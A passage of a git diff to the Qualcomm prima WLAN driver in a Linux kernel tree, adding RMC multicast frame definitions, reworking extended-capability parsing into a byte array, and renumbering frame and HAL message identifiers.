WNI_CFG_EXT_SCAN_CONC_MODE_DEF}, {WNI_CFG_ENABLE_MAC_ADDR_SPOOFING, CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT | CFG_CTL_NTF_HAL, WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_MIN, WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_MAX, WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_DEF}, - {WNI_CFG_SAR_BOFFSET_SET_CORRECTION, - CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT | CFG_CTL_NTF_HAL, - WNI_CFG_SAR_BOFFSET_SET_CORRECTION_MIN, - WNI_CFG_SAR_BOFFSET_SET_CORRECTION_MAX, - WNI_CFG_SAR_BOFFSET_SET_CORRECTION_DEFAULT}, {WNI_CFG_DISABLE_BAR_WAKE_UP_HOST, CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT | CFG_CTL_NTF_HAL, WNI_CFG_DISABLE_BAR_WAKE_UP_HOST_MIN, WNI_CFG_DISABLE_BAR_WAKE_UP_HOST_MAX, WNI_CFG_DISABLE_BAR_WAKE_UP_HOST_DEF}, + {WNI_CFG_SAR_BOFFSET_SET_CORRECTION, + CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT | CFG_CTL_NTF_HAL, + WNI_CFG_SAR_BOFFSET_SET_CORRECTION_MIN, + WNI_CFG_SAR_BOFFSET_SET_CORRECTION_MAX, + WNI_CFG_SAR_BOFFSET_SET_CORRECTION_DEFAULT}, }; tAniSirCfgStaticString cfgStaticString[CFG_MAX_STATIC_STRING] = diff --git a/drivers/staging/prima/CORE/MAC/src/cfg/cfgUtil/cfg.txt b/drivers/staging/prima/CORE/MAC/src/cfg/cfgUtil/cfg.txt index 87aba505831dc..c08458fe10bb1 100644 --- a/drivers/staging/prima/CORE/MAC/src/cfg/cfgUtil/cfg.txt +++ b/drivers/staging/prima/CORE/MAC/src/cfg/cfgUtil/cfg.txt @@ -1,5 +1,5 @@ * - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -4601,7 +4601,18 @@ HAL * * -* ATH Enable/Disable +* RMC action period frequency (milli seconds) +* +WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY I 4 7 +V RW NP +HAL +100 1000 300 +V RW NP +HAL +100 1000 300 +* +* + * WNI_CFG_ATH_DISABLE I 4 7 V RW NP @@ -4658,18 +4669,6 @@ HAL * * -* RMC action period frequency (milli seconds) -* -WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY I 4 7 -V RW NP -HAL -0 0xFFFFFFFF 300 -V RW NP -HAL -0 0xFFFFFFFF 300 -* -* - * Rssi probe interval (milli seconds) * WNI_CFG_ASD_PROBE_INTERVAL I 4 7 diff --git a/drivers/staging/prima/CORE/MAC/src/cfg/cfgUtil/dot11f.frms b/drivers/staging/prima/CORE/MAC/src/cfg/cfgUtil/dot11f.frms index 87bbc6564f2dd..f4e490ac78673 100644 --- a/drivers/staging/prima/CORE/MAC/src/cfg/cfgUtil/dot11f.frms +++ b/drivers/staging/prima/CORE/MAC/src/cfg/cfgUtil/dot11f.frms @@ -419,6 +419,31 @@ FF P2POUISubType (1) ouiSubtype, 1; } +FF RMCOUI (3) +{ + oui[3]; +} + +FF MagicCode (6) +{ + magic[6]; +} + +FF RMCVersion (1) +{ + version, 1; +} + +FF RMCDialogToken (4) +{ + token, 4; +} + +FF Ruler (6) +{ + mac[6]; +} + FF VhtMembershipStatusArray(8) // 8.4.1.51 { membershipStatusArray[8]; @@ -2673,63 +2698,7 @@ IE WiderBWChanSwitchAnn (EID_WIDER_BW_CHANNEL_SWITCH_ANN) IE ExtCap (EID_EXT_CAP) { - { - bssCoexistMgmtSupport: 1; - reserved1: 1; - extChanSwitch: 1; - reserved2: 1; - psmpCap: 1; - reserved3: 1; - spsmpCap: 1; - event: 1; - diagnostics: 1; - multiDiagnostics: 1; - locTracking: 1; - FMS: 1; - proxyARPService: 1; - coLocIntfReporting: 1; - civicLoc: 1; - geospatialLoc: 1; - TFS: 1; - wnmSleepMode: 1; - timBroadcast: 1; - bssTransition: 1; - qosTrafficCap: 1; - acStaCnt: 1; - multiBSSID: 1; - timingMeas: 1; - chanUsage: 1; - ssidList: 1; - DMS: 1; - UTCTSFOffset: 1; - TDLSPeerUAPSDBufferSTA: 1; - TDLSPeerPSMSupp: 1; - TDLSChannelSwitching: 1; - interworkingService: 1; - } - { - qosMap: 1; - EBR: 1; - sspnInterface: 1; - reserved4: 1; - msgCFCap: 1; - TDLSSupport: 1; - TDLSProhibited: 1; - TDLSChanSwitProhibited: 1; - rejectUnadmittedTraffic: 1; - serviceIntervalGranularity: 3; - identifierLoc: 1; - uapsdCoexistence: 1; - wnmNotification: 1; - reserved5: 1; - } - { - UTF8SSID: 1; - reserved6: 12; - TDLSWiderBW: 1; - operModeNotification: 1; - reserved7: 1; - } + bytes[1..9]; } IE HTCaps (EID_HT_CAPABILITIES) @@ -4242,6 +4211,17 @@ FRAME QosMapConfigure MANDIE QosMapSet; } +FRAME RMC +{ + FF Category; + FF RMCOUI; + FF MagicCode; + FF RMCVersion; + FF Action; + FF RMCDialogToken; + FF Ruler; +} + FRAME VHTGidManagementActionFrame { FF Category; diff --git a/drivers/staging/prima/CORE/MAC/src/dph/dphHashTable.c b/drivers/staging/prima/CORE/MAC/src/dph/dphHashTable.c index 90926f57a3288..f73bcb8a0be95 100644 --- a/drivers/staging/prima/CORE/MAC/src/dph/dphHashTable.c +++ b/drivers/staging/prima/CORE/MAC/src/dph/dphHashTable.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -295,6 +295,7 @@ tpDphHashNode dphInitStaState(tpAniSirGlobal pMac, tSirMacAddr staAddr, #ifdef WLAN_FEATURE_11W pStaDs->last_assoc_received_time = 0; #endif + pStaDs->sta_deletion_in_progress = false; pStaDs->valid = 1; return pStaDs; } @@ -443,6 +444,7 @@ tSirRetStatus dphDeleteHashEntry(tpAniSirGlobal pMac, tSirMacAddr staAddr, tANI_ #ifdef WLAN_FEATURE_11W ptr->last_assoc_received_time = 0; #endif + ptr->sta_deletion_in_progress = false; ptr->next = 0; } else diff --git a/drivers/staging/prima/CORE/MAC/src/include/dot11f.h b/drivers/staging/prima/CORE/MAC/src/include/dot11f.h index e08fd48de7425..c42844950597f 100644 --- a/drivers/staging/prima/CORE/MAC/src/include/dot11f.h +++ b/drivers/staging/prima/CORE/MAC/src/include/dot11f.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -30,7 +30,7 @@ * * * This file was automatically generated by 'framesc' - * Mon Nov 10 19:49:53 2014 from the following file(s): + * Wed Aug 10 14:01:47 2016 from the following file(s): * * dot11f.frms * @@ -316,6 +316,16 @@ void dot11fUnpackFfListenInterval(tpAniSirGlobal, tANI_U8*, tDot11fFfListenInter void dot11fPackFfListenInterval(tpAniSirGlobal, tDot11fFfListenInterval*, tANI_U8*); +typedef struct sDot11fFfMagicCode { + tANI_U8 magic[6]; +} tDot11fFfMagicCode; + +#define DOT11F_FF_MAGICCODE_LEN ( 6 ) + +void dot11fUnpackFfMagicCode(tpAniSirGlobal, tANI_U8*, tDot11fFfMagicCode*); + +void dot11fPackFfMagicCode(tpAniSirGlobal, tDot11fFfMagicCode*, tANI_U8*); + typedef struct sDot11fFfMaxTxPower { tANI_U8 maxTxPower; } tDot11fFfMaxTxPower; @@ -388,6 +398,36 @@ void dot11fUnpackFfRCPI(tpAniSirGlobal, tANI_U8*, tDot11fFfRCPI*); void dot11fPackFfRCPI(tpAniSirGlobal, tDot11fFfRCPI*, tANI_U8*); +typedef struct sDot11fFfRMCDialogToken { + tANI_U32 token; +} tDot11fFfRMCDialogToken; + +#define DOT11F_FF_RMCDIALOGTOKEN_LEN ( 4 ) + +void dot11fUnpackFfRMCDialogToken(tpAniSirGlobal, tANI_U8*, tDot11fFfRMCDialogToken*); + +void dot11fPackFfRMCDialogToken(tpAniSirGlobal, tDot11fFfRMCDialogToken*, tANI_U8*); + +typedef struct sDot11fFfRMCOUI { + tANI_U8 oui[3]; +} tDot11fFfRMCOUI; + +#define DOT11F_FF_RMCOUI_LEN ( 3 ) + +void dot11fUnpackFfRMCOUI(tpAniSirGlobal, tANI_U8*, tDot11fFfRMCOUI*); + +void dot11fPackFfRMCOUI(tpAniSirGlobal, tDot11fFfRMCOUI*, tANI_U8*); + +typedef struct sDot11fFfRMCVersion { + tANI_U8 version; +} tDot11fFfRMCVersion; + +#define DOT11F_FF_RMCVERSION_LEN ( 1 ) + +void dot11fUnpackFfRMCVersion(tpAniSirGlobal, tANI_U8*, tDot11fFfRMCVersion*); + +void dot11fPackFfRMCVersion(tpAniSirGlobal, tDot11fFfRMCVersion*, tANI_U8*); + typedef struct sDot11fFfRSNI { tANI_U8 rsni; } tDot11fFfRSNI; @@ -408,6 +448,16 @@ void dot11fUnpackFfReason(tpAniSirGlobal, tANI_U8*, tDot11fFfReason*); void dot11fPackFfReason(tpAniSirGlobal, tDot11fFfReason*, tANI_U8*); +typedef struct sDot11fFfRuler { + tANI_U8 mac[6]; +} tDot11fFfRuler; + +#define DOT11F_FF_RULER_LEN ( 6 ) + +void dot11fUnpackFfRuler(tpAniSirGlobal, tANI_U8*, tDot11fFfRuler*); + +void dot11fPackFfRuler(tpAniSirGlobal, tDot11fFfRuler*, tANI_U8*); + typedef struct sDot11fFfRxAntennaId { tANI_U8 antennaId; } tDot11fFfRxAntennaId; @@ -3510,65 +3560,16 @@ tANI_U32 dot11fGetPackedIEESEVersion(tpAniSirGlobal, tDot11fIEESEVersion*, tANI_ // EID 127 (0x7f) typedef struct sDot11fIEExtCap { tANI_U8 present; - tANI_U32 bssCoexistMgmtSupport: 1; - tANI_U32 reserved1: 1; - tANI_U32 extChanSwitch: 1; - tANI_U32 reserved2: 1; - tANI_U32 psmpCap: 1; - tANI_U32 reserved3: 1; - tANI_U32 spsmpCap: 1; - tANI_U32 event: 1; - tANI_U32 diagnostics: 1; - tANI_U32 multiDiagnostics: 1; - tANI_U32 locTracking: 1; - tANI_U32 FMS: 1; - tANI_U32 proxyARPService: 1; - tANI_U32 coLocIntfReporting: 1; - tANI_U32 civicLoc: 1; - tANI_U32 geospatialLoc: 1; - tANI_U32 TFS: 1; - tANI_U32 wnmSleepMode: 1; - tANI_U32 timBroadcast: 1; - tANI_U32 bssTransition: 1; - tANI_U32 qosTrafficCap: 1; - tANI_U32 acStaCnt: 1; - tANI_U32 multiBSSID: 1; - tANI_U32 timingMeas: 1; - tANI_U32 chanUsage: 1; - tANI_U32 ssidList: 1; - tANI_U32 DMS: 1; - tANI_U32 UTCTSFOffset: 1; - tANI_U32 TDLSPeerUAPSDBufferSTA: 1; - tANI_U32 TDLSPeerPSMSupp: 1; - tANI_U32 TDLSChannelSwitching: 1; - tANI_U32 interworkingService: 1; - tANI_U16 qosMap: 1; - tANI_U16 EBR: 1; - tANI_U16 sspnInterface: 1; - tANI_U16 reserved4: 1; - tANI_U16 msgCFCap: 1; - tANI_U16 TDLSSupport: 1; - tANI_U16 TDLSProhibited: 1; - tANI_U16 TDLSChanSwitProhibited: 1; - tANI_U16 rejectUnadmittedTraffic: 1; - tANI_U16 serviceIntervalGranularity: 3; - tANI_U16 identifierLoc: 1; - tANI_U16 uapsdCoexistence: 1; - tANI_U16 wnmNotification: 1; - tANI_U16 reserved5: 1; - tANI_U16 UTF8SSID: 1; - tANI_U16 reserved6: 12; - tANI_U16 TDLSWiderBW: 1; - tANI_U16 operModeNotification: 1; - tANI_U16 reserved7: 1; + tANI_U8 num_bytes; + tANI_U8 bytes[9]; } tDot11fIEExtCap; #define DOT11F_EID_EXTCAP ( 127 ) // N.B. These #defines do *not* include the EID & length -#define DOT11F_IE_EXTCAP_MIN_LEN ( 8 ) +#define DOT11F_IE_EXTCAP_MIN_LEN ( 1 ) -#define DOT11F_IE_EXTCAP_MAX_LEN ( 8 ) +#define DOT11F_IE_EXTCAP_MAX_LEN ( 9 ) #ifdef __cplusplus extern "C" { @@ -5167,7 +5168,7 @@ typedef struct sDot11fIERSN { // N.B. These #defines do *not* include the EID & length #define DOT11F_IE_RSN_MIN_LEN ( 6 ) -#define DOT11F_IE_RSN_MAX_LEN ( 114 ) +#define DOT11F_IE_RSN_MAX_LEN ( 255 ) #ifdef __cplusplus extern "C" { @@ -5309,7 +5310,7 @@ typedef struct sDot11fIESuppRates { ((_x) == 48) || \ ((_x) == 72) || \ ((_x) == 96) || \ - ((_x) == 108)) + ((_x) == 108)) #ifdef __cplusplus extern "C" { @@ -5796,7 +5797,7 @@ tANI_U32 dot11fGetPackedIEWMMParams(tpAniSirGlobal, tDot11fIEWMMParams*, tANI_U3 typedef struct sDot11fIEWPA { tANI_U8 present; tANI_U16 version /* Must be 1! */; - tANI_U8 multicast_cipher_present; //field added to fix the bug in dot11fPackIEWPA + tANI_U8 multicast_cipher_present; //field added to fix the bug in dot11fPackIEWPA tANI_U8 multicast_cipher[4]; tANI_U16 unicast_cipher_count; tANI_U8 unicast_ciphers[4][4]; @@ -7298,6 +7299,30 @@ tANI_U32 dot11fGetPackedQosMapConfigureSize(tpAniSirGlobal pCtx, tDot11fQosMapCo } /* End extern "C". */ #endif /* C++ */ +typedef struct sDot11fRMC{ + tDot11fFfCategory Category; + tDot11fFfRMCOUI RMCOUI; + tDot11fFfMagicCode MagicCode; + tDot11fFfRMCVersion RMCVersion; + tDot11fFfAction Action; + tDot11fFfRMCDialogToken RMCDialogToken; + tDot11fFfRuler Ruler; +} tDot11fRMC; + +#define DOT11F_RMC ( 41 ) + +#ifdef __cplusplus +extern "C" { +#endif /* C++ */ + +tANI_U32 dot11fUnpackRMC(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 nBuf, tDot11fRMC *pFrm); +tANI_U32 dot11fPackRMC(tpAniSirGlobal pCtx, tDot11fRMC *pFrm, tANI_U8 *pBuf, tANI_U32 nBuf, tANI_U32 *pnConsumed); +tANI_U32 dot11fGetPackedRMCSize(tpAniSirGlobal pCtx, tDot11fRMC *pFrm, tANI_U32 *pnNeeded); + +#ifdef __cplusplus +} /* End extern "C". */ +#endif /* C++ */ + typedef struct sDot11fRadioMeasurementReport{ tDot11fFfCategory Category; tDot11fFfAction Action; @@ -7306,7 +7331,7 @@ typedef struct sDot11fRadioMeasurementReport{ tDot11fIEMeasurementReport MeasurementReport[4]; } tDot11fRadioMeasurementReport; -#define DOT11F_RADIOMEASUREMENTREPORT ( 41 ) +#define DOT11F_RADIOMEASUREMENTREPORT ( 42 ) #ifdef __cplusplus extern "C" { @@ -7329,7 +7354,7 @@ typedef struct sDot11fRadioMeasurementRequest{ tDot11fIEMeasurementRequest MeasurementRequest[2]; } tDot11fRadioMeasurementRequest; -#define DOT11F_RADIOMEASUREMENTREQUEST ( 42 ) +#define DOT11F_RADIOMEASUREMENTREQUEST ( 43 ) #ifdef __cplusplus extern "C" { @@ -7380,7 +7405,7 @@ typedef struct sDot11fReAssocRequest{ tDot11fIEQosMapSet QosMapSet; } tDot11fReAssocRequest; -#define DOT11F_REASSOCREQUEST ( 43 ) +#define DOT11F_REASSOCREQUEST ( 44 ) #ifdef __cplusplus extern "C" { @@ -7430,7 +7455,7 @@ typedef struct sDot11fReAssocResponse{ tDot11fIEQosMapSet QosMapSet; } tDot11fReAssocResponse; -#define DOT11F_REASSOCRESPONSE ( 44 ) +#define DOT11F_REASSOCRESPONSE ( 45 ) #ifdef __cplusplus extern "C" { @@ -7450,7 +7475,7 @@ typedef struct sDot11fSMPowerSave{ tDot11fFfSMPowerModeSet SMPowerModeSet; } tDot11fSMPowerSave; -#define DOT11F_SMPOWERSAVE ( 45 ) +#define DOT11F_SMPOWERSAVE ( 46 ) #ifdef __cplusplus extern "C" { @@ -7470,7 +7495,7 @@ typedef struct sDot11fSaQueryReq{ tDot11fFfTransactionId TransactionId; } tDot11fSaQueryReq; -#define DOT11F_SAQUERYREQ ( 46 ) +#define DOT11F_SAQUERYREQ ( 47 ) #ifdef __cplusplus extern "C" { @@ -7490,7 +7515,7 @@ typedef struct sDot11fSaQueryRsp{ tDot11fFfTransactionId TransactionId; } tDot11fSaQueryRsp; -#define DOT11F_SAQUERYRSP ( 47 ) +#define DOT11F_SAQUERYRSP ( 48 ) #ifdef __cplusplus extern "C" { @@ -7511,7 +7536,7 @@ typedef struct sDot11fTDLSDisReq{ tDot11fIELinkIdentifier LinkIdentifier; } tDot11fTDLSDisReq; -#define DOT11F_TDLSDISREQ ( 48 ) +#define DOT11F_TDLSDISREQ ( 49 ) #ifdef __cplusplus extern "C" { @@ -7545,7 +7570,7 @@ typedef struct sDot11fTDLSDisRsp{ tDot11fIEVHTCaps VHTCaps; } tDot11fTDLSDisRsp; -#define DOT11F_TDLSDISRSP ( 49 ) +#define DOT11F_TDLSDISRSP ( 50 ) #ifdef __cplusplus extern "C" { @@ -7568,7 +7593,7 @@ typedef struct sDot11fTDLSPeerTrafficInd{ tDot11fIEPUBufferStatus PUBufferStatus; } tDot11fTDLSPeerTrafficInd; -#define DOT11F_TDLSPEERTRAFFICIND ( 50 ) +#define DOT11F_TDLSPEERTRAFFICIND ( 51 ) #ifdef __cplusplus extern "C" { @@ -7589,7 +7614,7 @@ typedef struct sDot11fTDLSPeerTrafficRsp{ tDot11fIELinkIdentifier LinkIdentifier; } tDot11fTDLSPeerTrafficRsp; -#define DOT11F_TDLSPEERTRAFFICRSP ( 51 ) +#define DOT11F_TDLSPEERTRAFFICRSP ( 52 ) #ifdef __cplusplus extern "C" { @@ -7620,7 +7645,7 @@ typedef struct sDot11fTDLSSetupCnf{ tDot11fIEOperatingMode OperatingMode; } tDot11fTDLSSetupCnf; -#define DOT11F_TDLSSETUPCNF ( 52 ) +#define DOT11F_TDLSSETUPCNF ( 53 ) #ifdef __cplusplus extern "C" { @@ -7658,7 +7683,7 @@ typedef struct sDot11fTDLSSetupReq{ tDot11fIEVHTCaps VHTCaps; } tDot11fTDLSSetupReq; -#define DOT11F_TDLSSETUPREQ ( 53 ) +#define DOT11F_TDLSSETUPREQ ( 54 ) #ifdef __cplusplus extern "C" { @@ -7698,7 +7723,7 @@ typedef struct sDot11fTDLSSetupRsp{ tDot11fIEOperatingMode OperatingMode; } tDot11fTDLSSetupRsp; -#define DOT11F_TDLSSETUPRSP ( 54 ) +#define DOT11F_TDLSSETUPRSP ( 55 ) #ifdef __cplusplus extern "C" { @@ -7720,7 +7745,7 @@ typedef struct sDot11fTDLSTeardown{ tDot11fIELinkIdentifier LinkIdentifier; } tDot11fTDLSTeardown; -#define DOT11F_TDLSTEARDOWN ( 55 ) +#define DOT11F_TDLSTEARDOWN ( 56 ) #ifdef __cplusplus extern "C" { @@ -7741,7 +7766,7 @@ typedef struct sDot11fTPCReport{ tDot11fIETPCReport TPCReport; } tDot11fTPCReport; -#define DOT11F_TPCREPORT ( 56 ) +#define DOT11F_TPCREPORT ( 57 ) #ifdef __cplusplus extern "C" { @@ -7762,7 +7787,7 @@ typedef struct sDot11fTPCRequest{ tDot11fIETPCRequest TPCRequest; } tDot11fTPCRequest; -#define DOT11F_TPCREQUEST ( 57 ) +#define DOT11F_TPCREQUEST ( 58 ) #ifdef __cplusplus extern "C" { @@ -7783,7 +7808,7 @@ typedef struct sDot11fVHTGidManagementActionFrame{ tDot11fFfVhtUserPositionArray VhtUserPositionArray; } tDot11fVHTGidManagementActionFrame; -#define DOT11F_VHTGIDMANAGEMENTACTIONFRAME ( 58 ) +#define DOT11F_VHTGIDMANAGEMENTACTIONFRAME ( 59 ) #ifdef __cplusplus extern "C" { @@ -7806,7 +7831,7 @@ typedef struct sDot11fWMMAddTSRequest{ tDot11fIEESETrafStrmRateSet ESETrafStrmRateSet; } tDot11fWMMAddTSRequest; -#define DOT11F_WMMADDTSREQUEST ( 59 ) +#define DOT11F_WMMADDTSREQUEST ( 60 ) #ifdef __cplusplus extern "C" { @@ -7829,7 +7854,7 @@ typedef struct sDot11fWMMAddTSResponse{ tDot11fIEESETrafStrmMet ESETrafStrmMet; } tDot11fWMMAddTSResponse; -#define DOT11F_WMMADDTSRESPONSE ( 60 ) +#define DOT11F_WMMADDTSRESPONSE ( 61 ) #ifdef __cplusplus extern "C" { @@ -7851,7 +7876,7 @@ typedef struct sDot11fWMMDelTS{ tDot11fIEWMMTSPEC WMMTSPEC; } tDot11fWMMDelTS; -#define DOT11F_WMMDELTS ( 61 ) +#define DOT11F_WMMDELTS ( 62 ) #ifdef __cplusplus extern "C" { diff --git a/drivers/staging/prima/CORE/MAC/src/include/dphGlobal.h b/drivers/staging/prima/CORE/MAC/src/include/dphGlobal.h index 5a6b27876b108..3dac65ae0c14f 100644 --- a/drivers/staging/prima/CORE/MAC/src/include/dphGlobal.h +++ b/drivers/staging/prima/CORE/MAC/src/include/dphGlobal.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -638,6 +638,7 @@ typedef struct sDphHashNode */ tANI_U8 isDisassocDeauthInProgress; + bool sta_deletion_in_progress; struct sDphHashNode *next; diff --git a/drivers/staging/prima/CORE/MAC/src/include/parserApi.h b/drivers/staging/prima/CORE/MAC/src/include/parserApi.h index e36227b6289e1..8ab00e014d604 100644 --- a/drivers/staging/prima/CORE/MAC/src/include/parserApi.h +++ b/drivers/staging/prima/CORE/MAC/src/include/parserApi.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -106,8 +106,10 @@ typedef struct sSirProbeRespBeacon #ifdef WLAN_FEATURE_VOWIFI_11R tANI_U8 mdie[SIR_MDIE_SIZE]; #endif +#if defined(FEATURE_WLAN_ESE) || defined(WLAN_FEATURE_ROAM_SCAN_OFFLOAD) #ifdef FEATURE_WLAN_ESE tDot11fIEESETxmitPower eseTxPwr; +#endif tDot11fIEQBSSLoad QBSSLoad; #endif tANI_U8 ssidPresent; @@ -298,6 +300,79 @@ typedef struct sSirEseBcnReportMandatoryIe } tSirEseBcnReportMandatoryIe, *tpSirEseBcnReportMandatoryIe; #endif /* FEATURE_WLAN_ESE_UPLOAD */ +struct s_ext_cap { + uint8_t bssCoexistMgmtSupport: 1; + uint8_t reserved1: 1; + uint8_t extChanSwitch: 1; + uint8_t reserved2: 1; + uint8_t psmpCap: 1; + uint8_t reserved3: 1; + uint8_t spsmpCap: 1; + uint8_t event: 1; + uint8_t diagnostics: 1; + uint8_t multiDiagnostics: 1; + uint8_t locTracking: 1; + uint8_t FMS: 1; + uint8_t proxyARPService: 1; + uint8_t coLocIntfReporting: 1; + uint8_t civicLoc: 1; + uint8_t geospatialLoc: 1; + uint8_t TFS: 1; + uint8_t wnmSleepMode: 1; + uint8_t timBroadcast: 1; + uint8_t bssTransition: 1; + uint8_t qosTrafficCap: 1; + uint8_t acStaCnt: 1; + uint8_t multiBSSID: 1; + uint8_t timingMeas: 1; + uint8_t chanUsage: 1; + uint8_t ssidList: 1; + uint8_t DMS: 1; + uint8_t UTCTSFOffset: 1; + uint8_t TDLSPeerUAPSDBufferSTA: 1; + uint8_t TDLSPeerPSMSupp: 1; + uint8_t TDLSChannelSwitching: 1; + uint8_t interworkingService: 1; + uint8_t qosMap: 1; + uint8_t EBR: 1; + uint8_t sspnInterface: 1; + uint8_t reserved4: 1; + uint8_t msgCFCap: 1; + uint8_t TDLSSupport: 1; + uint8_t TDLSProhibited: 1; + uint8_t TDLSChanSwitProhibited: 1; + uint8_t rejectUnadmittedTraffic: 1; + uint8_t serviceIntervalGranularity: 3; + uint8_t identifierLoc: 1; + uint8_t uapsdCoexistence: 1; + uint8_t wnmNotification: 1; + uint8_t QABcapbility: 1; + uint8_t UTF8SSID: 1; + uint8_t QMFActivated: 1; + uint8_t QMFreconAct: 1; + uint8_t RobustAVStreaming: 1; + uint8_t AdvancedGCR: 1; + uint8_t MeshGCR: 1; + uint8_t SCS: 1; + uint8_t QLoadReport: 1; + uint8_t AlternateEDCA: 1; + uint8_t UnprotTXOPneg: 1; + uint8_t ProtTXOPneg: 1; + uint8_t reserved6: 1; + uint8_t ProtQLoadReport: 1; + uint8_t TDLSWiderBW: 1; + uint8_t operModeNotification: 1; + uint8_t maxNumOfMSDU_bit1: 1; + uint8_t maxNumOfMSDU_bit2: 1; + uint8_t ChanSchMgmt: 1; + uint8_t GeoDBInbandEnSignal: 1; + uint8_t NwChanControl: 1; + uint8_t WhiteSpaceMap: 1; + uint8_t ChanAvailQuery: 1; + uint8_t fineTimingMeas: 1; + uint8_t reserved7: 1; +}; + tANI_U8 sirIsPropCapabilityEnabled(struct sAniSirGlobal *pMac, tANI_U32 bitnum); diff --git a/drivers/staging/prima/CORE/MAC/src/include/sirParams.h b/drivers/staging/prima/CORE/MAC/src/include/sirParams.h index 9fd60148ce6cc..1f6473698ca4b 100644 --- a/drivers/staging/prima/CORE/MAC/src/include/sirParams.h +++ b/drivers/staging/prima/CORE/MAC/src/include/sirParams.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -127,9 +127,23 @@ typedef enum { #ifdef FEATURE_WLAN_TDLS TDLS_OFF_CHANNEL = 51, #endif + RTT3 = 52, MGMT_FRAME_LOGGING = 53, ENHANCED_TXBD_COMPLETION = 54, LOGGING_ENHANCEMENT = 55, + +#ifdef WLAN_FEATURE_EXTSCAN + EXT_SCAN_ENHANCED = 56, +#endif + + MEMORY_DUMP_SUPPORTED = 57, + PER_PKT_STATS_SUPPORTED = 58, + EXT_LL_STAT = 60, + WIFI_CONFIG = 61, + ANTENNA_DIVERSITY_SELECTION = 62, +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + PER_BASED_ROAMING = 63, +#endif //MAX_FEATURE_SUPPORTED = 128 } placeHolderInCapBitmap; @@ -625,35 +639,51 @@ typedef struct sSirMbMsgP2p #define SIR_HAL_DHCP_STOP_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 205) #define SIR_HAL_IBSS_PEER_INACTIVITY_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 206) -#define SIR_HAL_LPHB_WAIT_EXPIRE_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 207) +#define SIR_HAL_LPHB_CONF_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 207) +#define SIR_HAL_LPHB_WAIT_EXPIRE_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 208) -#define SIR_HAL_ADD_PERIODIC_TX_PTRN_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 208) -#define SIR_HAL_DEL_PERIODIC_TX_PTRN_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 209) +#define SIR_HAL_ADD_PERIODIC_TX_PTRN_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 209) +#define SIR_HAL_DEL_PERIODIC_TX_PTRN_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 210) -#ifdef FEATURE_WLAN_BATCH_SCAN -#define SIR_HAL_SET_BATCH_SCAN_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 210) -#define SIR_HAL_SET_BATCH_SCAN_RSP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 211) -#define SIR_HAL_STOP_BATCH_SCAN_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 212) -#define SIR_HAL_TRIGGER_BATCH_SCAN_RESULT_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 213) -#endif +#ifdef WLAN_FEATURE_RMC +#define SIR_HAL_RMC_BECOME_RULER (SIR_HAL_ITC_MSG_TYPES_BEGIN + 211) +#define SIR_HAL_RMC_RULER_SELECT_RESP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 212) +#define SIR_HAL_RMC_RULER_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 213) +#define SIR_HAL_RMC_UPDATE_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 214) + +/* For IBSS peer info related messages */ +#define SIR_HAL_IBSS_PEER_INFO_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 215) +#define SIR_HAL_IBSS_PEER_INFO_RSP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 216) +#endif /* WLAN_FEATURE_RMC */ #define SIR_HAL_RATE_UPDATE_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 217) -#define SIR_HAL_START_SCAN_OFFLOAD_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 218) -#define SIR_HAL_START_SCAN_OFFLOAD_RSP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 219) -#define SIR_HAL_UPDATE_CHAN_LIST_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 220) -#define 